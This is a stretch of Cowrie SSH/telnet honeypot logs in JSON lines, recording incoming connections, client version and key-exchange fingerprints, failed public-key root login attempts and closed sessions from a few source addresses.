{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvn/He9O6vMYJRQPH44ZceI9h76c25nxUNGxmtnPcr7lpiyG23VX/pUxEq6FXluO4bP2ccq0mTtAsMDiiGu+Gwd+lH6FtlUzqIM4ChLzmsieFMz7K1QSpra1c/C/4c6XD8l2Whg+K8ifqAtSKtMisYJp2Cq4ormPrZTmz1yr+asoBJOXajKEut2TowiIYZT+kzRgbTW5Zrqtpj9SRe2C6OGi415U9/Gpb3LMOoWAthj5SKs2A8EMVMyCyg82lfxaJTb8bzDZOL3nV7qHH+xWSbxDRU+4M8OXupV3Vmtk9N2Ap/JtSISiJ+PjcuphcOaqHt9uYZbr653G4QiU5lJXQ9GupXdHqaitjsKCRhFnMp0S24bzEm9DNAkcVUhWtSEsmQhdjbmoBcLqt7yU26PVfccS9gbpQ0PlyqRXmm0YHV2kt8iozMZD5BnuV+Cuto4Cs12WG7qE4zQt97p1GqzyMspZ3kimdYgHCMQvwAbYPZNLF3XxxUIcy9oH2xJc0Lq4Oluzxn8JHFpjXhdtjN1JyMVV8Cpm0W3PDvAFl/Y1ejYXNFFmOJugO14YKx2OoaeTXqNmTO+BaBgW0OirsARcxKjr1RElwLFtyp9aoubLt3D//SjvI0t3hh5u9+bChnc4THt8e13FW2qTz1a4jAeTVXSSJ/rxUhct1hV/diUdwwiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.861758Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:df:fb:f8:cd:2b:65:b3:40:ef:c7:35:29:e5:6d:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvn/He9O6vMYJRQPH44ZceI9h76c25nxUNGxmtnPcr7lpiyG23VX/pUxEq6FXluO4bP2ccq0mTtAsMDiiGu+Gwd+lH6FtlUzqIM4ChLzmsieFMz7K1QSpra1c/C/4c6XD8l2Whg+K8ifqAtSKtMisYJp2Cq4ormPrZTmz1yr+asoBJOXajKEut2TowiIYZT+kzRgbTW5Zrqtpj9SRe2C6OGi415U9/Gpb3LMOoWAthj5SKs2A8EMVMyCyg82lfxaJTb8bzDZOL3nV7qHH+xWSbxDRU+4M8OXupV3Vmtk9N2Ap/JtSISiJ+PjcuphcOaqHt9uYZbr653G4QiU5lJXQ9GupXdHqaitjsKCRhFnMp0S24bzEm9DNAkcVUhWtSEsmQhdjbmoBcLqt7yU26PVfccS9gbpQ0PlyqRXmm0YHV2kt8iozMZD5BnuV+Cuto4Cs12WG7qE4zQt97p1GqzyMspZ3kimdYgHCMQvwAbYPZNLF3XxxUIcy9oH2xJc0Lq4Oluzxn8JHFpjXhdtjN1JyMVV8Cpm0W3PDvAFl/Y1ejYXNFFmOJugO14YKx2OoaeTXqNmTO+BaBgW0OirsARcxKjr1RElwLFtyp9aoubLt3D//SjvI0t3hh5u9+bChnc4THt8e13FW2qTz1a4jAeTVXSSJ/rxUhct1hV/diUdwwiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.865340Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRjdbZ2aE7Jki/W4OZck9UYuZfRiTuTmoPqEl2viwJ9VlZQa4jQ1wgIGHnUtcEChL+GxNuM+c4dg9X00VyUChsM2CRsVm7NFrC7TKPjmW+hDzlkWrM3SO6fLaaiRUSI29Y7OFQXWye+LJvBLraKTsxi4aXw8rE9/EIhlCUd0tjlSfwZKeJOdqvvHrDG4OuoAczMgkcRFmgZ5a8fxIITP3x/DS5tzIYeaAvNVSJixJHc//qFsJ9kAa/kx9j6xDi20m5lXi5GI/wso9yFe61cnFX/J1cbL5mnLBrI+qYRpjxHXHGEwaSgdF+9uN301Cfy+YgtNylkeiVUNLw+4OGMriAnn9In+QIndOaKte5QHoNAwP3DfMV3zTZvc2lckSdqD/2bCYMyGP/H52bmk1mKzVyZlbEVTxfD8XK0M6ysxMOmjmEZkhhK8uzzB1gn+xDtn2Z/xEUDwfZMzXxYhyfzBWDk+0k8LPn0ouBfKKiC3y/mmY3HoYmnjsCB078Fi5TC6E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.938507Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:7f:6f:67:9e:20:e3:bd:15:46:fe:75:bd:f8:20:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRjdbZ2aE7Jki/W4OZck9UYuZfRiTuTmoPqEl2viwJ9VlZQa4jQ1wgIGHnUtcEChL+GxNuM+c4dg9X00VyUChsM2CRsVm7NFrC7TKPjmW+hDzlkWrM3SO6fLaaiRUSI29Y7OFQXWye+LJvBLraKTsxi4aXw8rE9/EIhlCUd0tjlSfwZKeJOdqvvHrDG4OuoAczMgkcRFmgZ5a8fxIITP3x/DS5tzIYeaAvNVSJixJHc//qFsJ9kAa/kx9j6xDi20m5lXi5GI/wso9yFe61cnFX/J1cbL5mnLBrI+qYRpjxHXHGEwaSgdF+9uN301Cfy+YgtNylkeiVUNLw+4OGMriAnn9In+QIndOaKte5QHoNAwP3DfMV3zTZvc2lckSdqD/2bCYMyGP/H52bmk1mKzVyZlbEVTxfD8XK0M6ysxMOmjmEZkhhK8uzzB1gn+xDtn2Z/xEUDwfZMzXxYhyfzBWDk+0k8LPn0ouBfKKiC3y/mmY3HoYmnjsCB078Fi5TC6E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:26.942214Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwfjChJQQaIhhI8Xkr3fReqZ2SWBHLl49c8I8Ki+kv/H2926BD0AAE2dgplWRnwzNjP/tcfl/K6H2du0QafCpZeagiOvzygYgHVa/bHh5OVwotg0+SJQLssfzUbXNb2nN85DGYVxITaiYL+0NLM5DoOQj+NeRDHl9rqN9eBlFreHdD/fTkQb7tGUmn24Cfg2WpHj0aDVE8iwzbbRlw37U3TN2J+3Honl0ut2eyf2ZU1PvIfPcX4b4ymgkW61byUnGwn5Qsu1RUrGFE1u+u9fiy0BNPfZ7+dkkdw165hnWdLLT8SXp3pkJnoC2fVQ2bzhcb+z0Xdu2kfgGZH9Bf0WVXXX4Y/vw6weddcXxpHkLqAGSJpGsQR6dxemioTISNmosJnUdxEfgHAI2GHywgVHwsPZMYEri5iM8WzOv689oF2ZJbCh8HlMDUzRRo2gqn2El2t5rLlygbw/1nwq+kNU0bI46ybigYve9s6pLEWUQP4YhB7UYXrJ6nu7MJo/K/Kx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:27.014406Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:81:03:23:dc:f3:5c:4a:ae:c0:4b:02:fd:fe:28:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwfjChJQQaIhhI8Xkr3fReqZ2SWBHLl49c8I8Ki+kv/H2926BD0AAE2dgplWRnwzNjP/tcfl/K6H2du0QafCpZeagiOvzygYgHVa/bHh5OVwotg0+SJQLssfzUbXNb2nN85DGYVxITaiYL+0NLM5DoOQj+NeRDHl9rqN9eBlFreHdD/fTkQb7tGUmn24Cfg2WpHj0aDVE8iwzbbRlw37U3TN2J+3Honl0ut2eyf2ZU1PvIfPcX4b4ymgkW61byUnGwn5Qsu1RUrGFE1u+u9fiy0BNPfZ7+dkkdw165hnWdLLT8SXp3pkJnoC2fVQ2bzhcb+z0Xdu2kfgGZH9Bf0WVXXX4Y/vw6weddcXxpHkLqAGSJpGsQR6dxemioTISNmosJnUdxEfgHAI2GHywgVHwsPZMYEri5iM8WzOv689oF2ZJbCh8HlMDUzRRo2gqn2El2t5rLlygbw/1nwq+kNU0bI46ybigYve9s6pLEWUQP4YhB7UYXrJ6nu7MJo/K/Kx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:27.017972Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:27.092505Z","src_ip":"64.227.59.76","session":"68be1b66836e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:27.143265Z","src_ip":"122.168.194.41","session":"d8223aa27025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33236,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa591df2930","protocol":"telnet","message":"New connection: 128.199.8.54:33236 (159.203.135.109:23) [session: 2aa591df2930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:32.322942Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54572,"dst_ip":"159.203.135.109","dst_port":23,"session":"804e923ec7bd","protocol":"telnet","message":"New connection: 128.199.8.54:54572 (159.203.135.109:23) [session: 804e923ec7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:42.660265Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.246.250.145","src_port":47074,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c6b3a7c6e1","protocol":"ssh","message":"New connection: 103.246.250.145:47074 (10.17.0.5:22) [session: 19c6b3a7c6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:52.755706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:52.759416Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:52.969329Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.56591582298279,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:52.974296Z","src_ip":"212.55.149.117","session":"f1566d804e19","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:86:ff:86:2d:43:b7:8e:39:cb:2c:71:75:81:44:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+rn2F1QSgUbaIRJfbufq40Wyw0qaHf96KbcI7maKNJ9XbDxNiaxYIfhGueZtF3yksAUqW9v+cOwJZKlVosWsDkXUs67CHCwePuJh/0HoUA7Hi3YPfo35hfCquvVdPATD0JUFQG5slwdjxlCjYIkUR6NhU0dLlnbyZFkKm4Z5QqPKR4Yb+Ubyn1jW6tZeYoXtl+cCA0UOnKrqq/l4KNwPoPmxecQGEbvy1V9MId44ITedWLeazL02N5vFy4orGz7KPe7qrZaBokf9w4UmimtJbKMbuxu2feOVNb5wMEcLbkEfwmszs3hWKplAs78s2PaRESu0Pc/MXkC1/WO+GsyR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:86:ff:86:2d:43:b7:8e:39:cb:2c:71:75:81:44:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:53.993427Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:86:ff:86:2d:43:b7:8e:39:cb:2c:71:75:81:44:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCE+rn2F1QSgUbaIRJfbufq40Wyw0qaHf96KbcI7maKNJ9XbDxNiaxYIfhGueZtF3yksAUqW9v+cOwJZKlVosWsDkXUs67CHCwePuJh/0HoUA7Hi3YPfo35hfCquvVdPATD0JUFQG5slwdjxlCjYIkUR6NhU0dLlnbyZFkKm4Z5QqPKR4Yb+Ubyn1jW6tZeYoXtl+cCA0UOnKrqq/l4KNwPoPmxecQGEbvy1V9MId44ITedWLeazL02N5vFy4orGz7KPe7qrZaBokf9w4UmimtJbKMbuxu2feOVNb5wMEcLbkEfwmszs3hWKplAs78s2PaRESu0Pc/MXkC1/WO+GsyR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:53.997042Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:4d:6c:b5:f1:06:bc:a2:43:0b:20:1a:4f:97:ae:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeYwk/x1aqliCic+9nllxwg64Y4sEccAGXvm8tL3rSEeH2keWtw1q1COIwEUbQ8/CmSgFyNtqBAS/++qxiN3LEOzMJI5zD6ybpYXpJQqmVuiKwc5OVhPqPmzQwrSp5T4C84UUiEkbHgdYYTvlfJhTgw7RdluGuQzunGnxPstzpWKqlidoYbDy8Fb4zi3Qwg4SN6QSSeLgytsWDBig/ftuOM2e5gNm4A5lL351uf/qZksnb19YuAQbWZd8amBuOI7M1ZBGexZ8zphEQ2Z0APV19kd7jtGZSWlL6jUCRPy3EO270FC70BbMCnuusRBabeyBfVJVN2eY8jpClUzZ0VwFPTHBCIXNKSFkmEgICWAQaeKCRziEEwfjLB4YIERpkOZw6FfS7QLuNPZNl8GwFSuqI6asBYp3AG7huBtXX6bvdibbdW4h8lu5gZDFioa2CrpGI9oJTi0YSKCx9AdmR9AIh7wPzExy2T1D7NLow8wWk+UgeTM0CpseUCIfaoj4G3+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:4d:6c:b5:f1:06:bc:a2:43:0b:20:1a:4f:97:ae:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.206305Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:4d:6c:b5:f1:06:bc:a2:43:0b:20:1a:4f:97:ae:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDeYwk/x1aqliCic+9nllxwg64Y4sEccAGXvm8tL3rSEeH2keWtw1q1COIwEUbQ8/CmSgFyNtqBAS/++qxiN3LEOzMJI5zD6ybpYXpJQqmVuiKwc5OVhPqPmzQwrSp5T4C84UUiEkbHgdYYTvlfJhTgw7RdluGuQzunGnxPstzpWKqlidoYbDy8Fb4zi3Qwg4SN6QSSeLgytsWDBig/ftuOM2e5gNm4A5lL351uf/qZksnb19YuAQbWZd8amBuOI7M1ZBGexZ8zphEQ2Z0APV19kd7jtGZSWlL6jUCRPy3EO270FC70BbMCnuusRBabeyBfVJVN2eY8jpClUzZ0VwFPTHBCIXNKSFkmEgICWAQaeKCRziEEwfjLB4YIERpkOZw6FfS7QLuNPZNl8GwFSuqI6asBYp3AG7huBtXX6bvdibbdW4h8lu5gZDFioa2CrpGI9oJTi0YSKCx9AdmR9AIh7wPzExy2T1D7NLow8wWk+UgeTM0CpseUCIfaoj4G3+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.210827Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:6c:f1:6c:63:0e:70:3c:2f:4b:87:9f:55:38:a5:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJ1Qbs5nhO8xoXxp0AWamFbq2r7q1oOnBwXp2paMvqX7W/BdBCT1ba89qzFLQYshL8fh/KGTYZef1pOrbohk8lOLTJ2Yisya1oeyJ2dWAEDSwH2/xDLLum92NykojD73kLoJCgKKoe27POMAKSTQQRnwuSsHX0NK57N3TTU9ynFjToTL9QN/WI2kn8EsL5imUzpTg7JPYSYES+FailzgavbJ0UvpqPnwqOf8Cy+EH21aJl116AGjJKr7ZPCCJIFJ1SrNlCio6ouIzBGIagjwUmW6i9pdj3RHKmmmK0ojBewnIPU1UzRzCPGmhYHUNqbiRbj44ExY+ORI1QQFoVlkYMx1SRMNQMaRUSv9aptB4mQ9wejB7UxmNuqZEW8h//rlo1gBC5vdXMlRhLuTOGqnFPps858VCqUgHjNhH3mfcUDnmX/p2sRzkCqklVZLx77AeLqz25T0/FzdnJjTgBbX2AIBu+H9afblucOCCavAmWaGd061iUmNroUQHeTnm6fo0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:6c:f1:6c:63:0e:70:3c:2f:4b:87:9f:55:38:a5:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.423538Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:6c:f1:6c:63:0e:70:3c:2f:4b:87:9f:55:38:a5:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJ1Qbs5nhO8xoXxp0AWamFbq2r7q1oOnBwXp2paMvqX7W/BdBCT1ba89qzFLQYshL8fh/KGTYZef1pOrbohk8lOLTJ2Yisya1oeyJ2dWAEDSwH2/xDLLum92NykojD73kLoJCgKKoe27POMAKSTQQRnwuSsHX0NK57N3TTU9ynFjToTL9QN/WI2kn8EsL5imUzpTg7JPYSYES+FailzgavbJ0UvpqPnwqOf8Cy+EH21aJl116AGjJKr7ZPCCJIFJ1SrNlCio6ouIzBGIagjwUmW6i9pdj3RHKmmmK0ojBewnIPU1UzRzCPGmhYHUNqbiRbj44ExY+ORI1QQFoVlkYMx1SRMNQMaRUSv9aptB4mQ9wejB7UxmNuqZEW8h//rlo1gBC5vdXMlRhLuTOGqnFPps858VCqUgHjNhH3mfcUDnmX/p2sRzkCqklVZLx77AeLqz25T0/FzdnJjTgBbX2AIBu+H9afblucOCCavAmWaGd061iUmNroUQHeTnm6fo0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.427374Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:22:b9:6a:85:57:72:da:6c:49:5e:11:c3:cf:d1:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFToWl+t/clZVQGEtnq91rqGuIYN4vjuJGhV8nHPSvTjuCGhfZJ8CtS+JV6UN2htJk2yfdZnq1ciKJ7JtjzQzN6PfTzJW5ZMT6Zph2FgRu2xKQSGmZ5T0PiaLCTCVGGNirb+1BiXVD8dMxMz0E01hO3eVi6KTxYfe1/1LKyMfh1mFX7pVQyrAnoVyNIyz4v1RRR3z750KLXBfFqWuAuVyo7Xjx9OS+xttysK7TmukOSOKR/sNKHQqZuaJPMQlXHSWSXwOr+WvhUCtg1rJz9P5r7MNBh+8jKmqRdYyVpYle0G1jPpQdiCT19dqe0AByLHxtyhkkkMSbfwBIy4ecK9KDCY6ybxuWcw++lDNmDkLCstqtq/333UNBR8lgPSSPynDLuQLcz7oWTPQp5OqdVNf7DJgD5Y0IxxeF7tzy8dYHmdhPfy06tyZ8njhhT8fmljh+sPWRc10ZbkODTekBe3ZkO8x60IuH2cbZmQ3i1DD9Vdcms3BS6Lf0SGXT9o0JHULtwR2AiFwTACoaOagNbxnqhZ2UvLBbd3Fbqlc++ulVPBmEQ+5Vn9jRAgb7mBysv0yoVueq5uz0d8cHQ5hfLSHf6b2X8y4vGI3glEUm9f3+lufysXlxHDoloj1xL1NElVeZbYXOmi0t8qV/okuZug4sBLCxIWSQFoYTDaFb/gWArw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:22:b9:6a:85:57:72:da:6c:49:5e:11:c3:cf:d1:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.639016Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:22:b9:6a:85:57:72:da:6c:49:5e:11:c3:cf:d1:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFToWl+t/clZVQGEtnq91rqGuIYN4vjuJGhV8nHPSvTjuCGhfZJ8CtS+JV6UN2htJk2yfdZnq1ciKJ7JtjzQzN6PfTzJW5ZMT6Zph2FgRu2xKQSGmZ5T0PiaLCTCVGGNirb+1BiXVD8dMxMz0E01hO3eVi6KTxYfe1/1LKyMfh1mFX7pVQyrAnoVyNIyz4v1RRR3z750KLXBfFqWuAuVyo7Xjx9OS+xttysK7TmukOSOKR/sNKHQqZuaJPMQlXHSWSXwOr+WvhUCtg1rJz9P5r7MNBh+8jKmqRdYyVpYle0G1jPpQdiCT19dqe0AByLHxtyhkkkMSbfwBIy4ecK9KDCY6ybxuWcw++lDNmDkLCstqtq/333UNBR8lgPSSPynDLuQLcz7oWTPQp5OqdVNf7DJgD5Y0IxxeF7tzy8dYHmdhPfy06tyZ8njhhT8fmljh+sPWRc10ZbkODTekBe3ZkO8x60IuH2cbZmQ3i1DD9Vdcms3BS6Lf0SGXT9o0JHULtwR2AiFwTACoaOagNbxnqhZ2UvLBbd3Fbqlc++ulVPBmEQ+5Vn9jRAgb7mBysv0yoVueq5uz0d8cHQ5hfLSHf6b2X8y4vGI3glEUm9f3+lufysXlxHDoloj1xL1NElVeZbYXOmi0t8qV/okuZug4sBLCxIWSQFoYTDaFb/gWArw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.642646Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:3a:65:3b:21:e3:8e:5b:01:c6:1c:5e:4f:99:56:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkoh6m1ixEfcrcLGv9FLY0e/UuJlalD64e20ouSLTeP36Im/fRgNYjOxYa9ys0qIDiWM1//0F8+d38QZxEqT8tKh9cqnxqU2YX88QU0MKVgER6of6eK/olqRW/eAxLFLEHsAyQu3wLN2ZHItvGQFBst6H79l0MdWUTjLOVRp5jlb3hEidXBp2en6MVPlryVNLUVZadEXTdCaxBXi/71bFgpMzTgq1oh0ceY2xzudwE3stNn/FOU4X4rcSyNSf1YO2H2Kb6PDMXOVfWawKC8SGdA9dSZu1nZveSODy/lr2oq1C9nTPkWKeKB0XQJ4So7TdhjKm3GsVIHvTzMC9MtvJz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:3a:65:3b:21:e3:8e:5b:01:c6:1c:5e:4f:99:56:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.852824Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:3a:65:3b:21:e3:8e:5b:01:c6:1c:5e:4f:99:56:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkoh6m1ixEfcrcLGv9FLY0e/UuJlalD64e20ouSLTeP36Im/fRgNYjOxYa9ys0qIDiWM1//0F8+d38QZxEqT8tKh9cqnxqU2YX88QU0MKVgER6of6eK/olqRW/eAxLFLEHsAyQu3wLN2ZHItvGQFBst6H79l0MdWUTjLOVRp5jlb3hEidXBp2en6MVPlryVNLUVZadEXTdCaxBXi/71bFgpMzTgq1oh0ceY2xzudwE3stNn/FOU4X4rcSyNSf1YO2H2Kb6PDMXOVfWawKC8SGdA9dSZu1nZveSODy/lr2oq1C9nTPkWKeKB0XQJ4So7TdhjKm3GsVIHvTzMC9MtvJz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:47:54.856428Z","src_ip":"103.246.250.145","session":"19c6b3a7c6e1","protocol":"ssh"}
